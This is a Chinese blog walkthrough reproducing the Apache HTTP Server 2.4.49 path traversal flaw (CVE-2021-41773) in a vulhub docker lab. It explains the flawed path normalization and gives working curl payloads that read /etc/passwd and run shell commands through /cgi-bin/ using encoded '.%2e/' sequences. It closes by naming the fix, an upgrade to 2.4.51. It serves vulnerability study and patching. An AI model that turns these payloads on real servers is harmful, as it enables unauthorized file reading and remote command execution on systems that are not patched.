首页 > 其他分享 > Apache Http Server 路径穿越漏洞复现(CVE-2021-41773)

Apache Http Server 路径穿越漏洞复现(CVE-2021-41773)

时间:2023-06-13 15:59:07浏览次数:51  
标签:41773 HTTP 路径 Server 2e 2021 Apache Http

Apache Http Server 路径穿越漏洞复现

Apache Http Server 路径穿越漏洞概述

Apache Http Server 简介

Apache HTTP Server(简称 Apache)是 Apache 软件基金会的一个开放源码的网页服务器软件,可以在大多数电脑操作系统中运行。由于其跨平台和安全性,被广泛使用,是最流行的 Web 服务器软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl/Python 等解释器编译到服务器中。

Httpd(即 HTTP Daemon ,超文本传输协议守护程序的简称)是一款运行于网页服务器后台,等待传入服务器请求的软件。HTTP 守护程序能自动回应服务器请求,并使用 HTTP 协议传送超文本及多媒体内容。

CVE-2021-41773

CVE-2021-41773 是一个影响 Apache HTTP Server (httpd) 的安全漏洞,影响版本为 2.4.49 版本。它是一个路径遍历漏洞,如果文档根目录以外的文件不受 require all denied 保护,则攻击者可以访问这些文件。

同时,若 Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。

漏洞影响

  • Apache Http Server 2.4.49 引入。
  • Apache Http Server 2.4.50 未完全修复(CVE-2021-42013)。

Apache Http Server 路径穿越漏洞原理

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。

当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。

如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/%2e%2e/ 形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,攻击者可以使用 .%2e/%2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。

Apache Http Server 路径穿越漏洞复现

下面利用 vulhub 开源漏洞靶场搭建漏洞环境,通过使用攻击机遍历靶机文件并且远程执行命令复现这一漏洞。

搭建 Apache 服务器

登入作为靶机的虚拟机。

执行命令 ip a ,获取靶机 ip 为 10.0.2.15

下载 vulhub 后,执行以下命令搭建 docker 环境。

cd vulhub/httpd/CVE-2021-41773
sudo docker-compose up -d

显示

表明搭建完成。执行命令 sudo docker ps 可以查看正在运行的 docker :

搭建完成后,使用浏览器访问 http://10.0.2.15:8080/ ,即可看到 Apache 默认 It works! 页面:

则 Apache 服务器搭建完成。

复现攻击

登入作为攻击机的虚拟机。

遍历文件

执行命令

curl -v --path-as-is http://10.0.2.15:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

可见,成功读取到 /etc/passwd

在靶机中访问此文件,确认攻击机成功读取到 passwd

远程执行命令

在攻击机中执行命令

curl -v --data "echo;id" 'http://10.0.2.15:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

可见,成功执行 id 命令:

通过远程执行命令,访问 /etc/passwd

curl -v --data "echo;cd /etc && cat passwd" 
                               \ 'http://10.0.2.15:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

成功读取到 passwd

Apache Http Server 路径穿越漏洞修复

升级到 Apache HTTP Server 2.4.51 及以上版本。

Reference

[1] Apache HTTP服务器 - 维基百科,自由的百科全书 (wikipedia.org) ,https://zh.wikipedia.org/wiki/Apache_HTTP_Server

[2] Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773),https://www.bilibili.com/video/BV1dU4y1f7x1

[3] Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773),https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md

[4] Apache 2.4.49 (CVE-2021-41773) 、 2.4.50 (CVE-2021-42013) 检测工具 (qq.com),https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488695&idx=1&sn=93cc8e0b903e073b2ec5f56baae05c8c

[5] Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project,https://httpd.apache.org/security/vulnerabilities_24.html

[6] 【漏洞通告】Apache HTTPd 2.4.49 路径穿越与命令执行漏洞(CVE-2021-41773) (aliyun.com),https://help.aliyun.com/noticelist/articleid/1060919610.html

标签:41773,HTTP,路径,Server,2e,2021,Apache,Http
From: https://www.cnblogs.com/syc233/p/17477732.html

相关文章

  • Visual Studio Feature: .http Files
    ExploringtheNewVisualStudioFeature:.httpFiles#visualstudio#csharp#dotnet#abotwrotethisIntroduction:VisualStudio,thepopularintegrateddevelopmentenvironment(IDE)byMicrosoft,continuallyevolvestoenhancedevelopers'productivity......
  • Angular中的HTTP请求】- 拦截器 HttpInterceptor 详解
    原文: 【Angular中的HTTP请求】-拦截器HttpInterceptor详解__老杨_的博客-CSDN博客通过学习HttpClient的工作机制,我们知道对于HTTP请求,HttpClient实际上是构建了一个链式的处理流程: 在HttpBackend的处理流程中请求被发出。在HttpBackend的前面可以设置多个的拦截器,对请......
  • spring boot连接Mybatis数据库的配置文件(MySql、SQLserver、Oracle)
    序号类型地址1MySQLMySQL操作之概念、SQL约束(一)2MySQLMySQL操作之数据定义语言(DDL)(二)3MySQLMySQL操作之数据操作语言(DML)(三)4MySQLMySQL操作之数据查询语言:(DQL)(四-1)(单表操作)5MySQLMySQL操作之数据查询语言:(DQL)(四-2)(多表查询)6MySQLMySQL操作之数据控制语言:(DC)(五)7MySQLMySQL操作之数......
  • 选择http代理IP需要考虑哪些因素
    对于爬虫工作者来说,选择合适的代理IP是很重要的一项工作,正所谓“工欲善其事必先利其器”。那么选择http代理IP需要考虑哪些因素呢?1、价格很多人选择代理IP首先看重的就是价格,货比三家也只比价格,不可否认,价格确实很重要。毕竟公司是有预算限制的,但需要在质量相差不多的情况下,选择价......
  • ABAP 调用HTTP上传附件(二)之中文乱码
    1、这篇文章的由来之前已经发表了《ABAP调用HTTP上传附件》的文章,详细介绍了如何通过HTTP请求传输附件,可点击链接参考原有文档因为之前对传输文件的中文文件名处理上解释不够详细,也因为不够重视,导致又一次在相关问题上踩坑。而浪费一天时间的问题,最终原因竟然就是个这?哭笑不得!目瞪......
  • NBU MSSQL SERVER
    #客户机中的操作   安装nbu客户端   hosts主、客户端修改   master端添加当前客户端   打开NetBackupMSSQLClientF7SetSQLServerconnectionpropertiesHost:主机名Instance:MSSQLSERVERUserid:administratorPassword:   生成脚本文件   BackupSQL......
  • Ubuntu-20.04.6-server安装MySQL实现远程连接
    Ubuntu-20.04.6-server安装MySQL,修改密码安装MySQL一、查看是否安装数据库mysql--version二、更新系统中的所有软件包和存储库sudoaptupdate三、安装Mysql最新版(我这里已经安装好了)sudoaptinstallmysql-server四、安装成功后,mysql--version查看版本五、查......
  • 什么是HLS(HTTP Live Streaming)?
    HLSEasyTech#013#2009年,Apple推出了HLS(HTTPLiveStreaming)——基于HTTP的自适应码率流媒体传输协议。HLS描述了一组通过互联网提供音视频服务的工具和程序。一个视频可以被分割成多个视频切片,这些切片的传送位置和顺序在一组被称为播放列表的XML文件中,该文件以文件扩展名m3u8结尾......
  • HTTP/3特性分析及未来发展
    Robin讲HTTP/3#005#到现在为止,我们主要对比了QUIC和TCP中的性能特性。那么HTTP/3和HTTP/2之间的区别是什么?我们在第一部分讨论过,HTTP/3实际上是HTTP/2-over-QUIC,所以新版本中并没有推出什么真正重要的新特性。这与从HTTP/1到HTTP/2不同,其中的变化更多,并推出了如头压缩、流优先级和......
  • Jumpserver 部署
    GitHub地址:https://github.com/jumpserver/jumpserver本次部署Jumpserver是3.3.1版本执行Jumpserver部署脚本curl-sSLhttps://github.com/jumpserver/jumpserver/releases/latest/download/quick_start.sh|bash部署成功之后会出现提示打开Web界面然后输入默认用......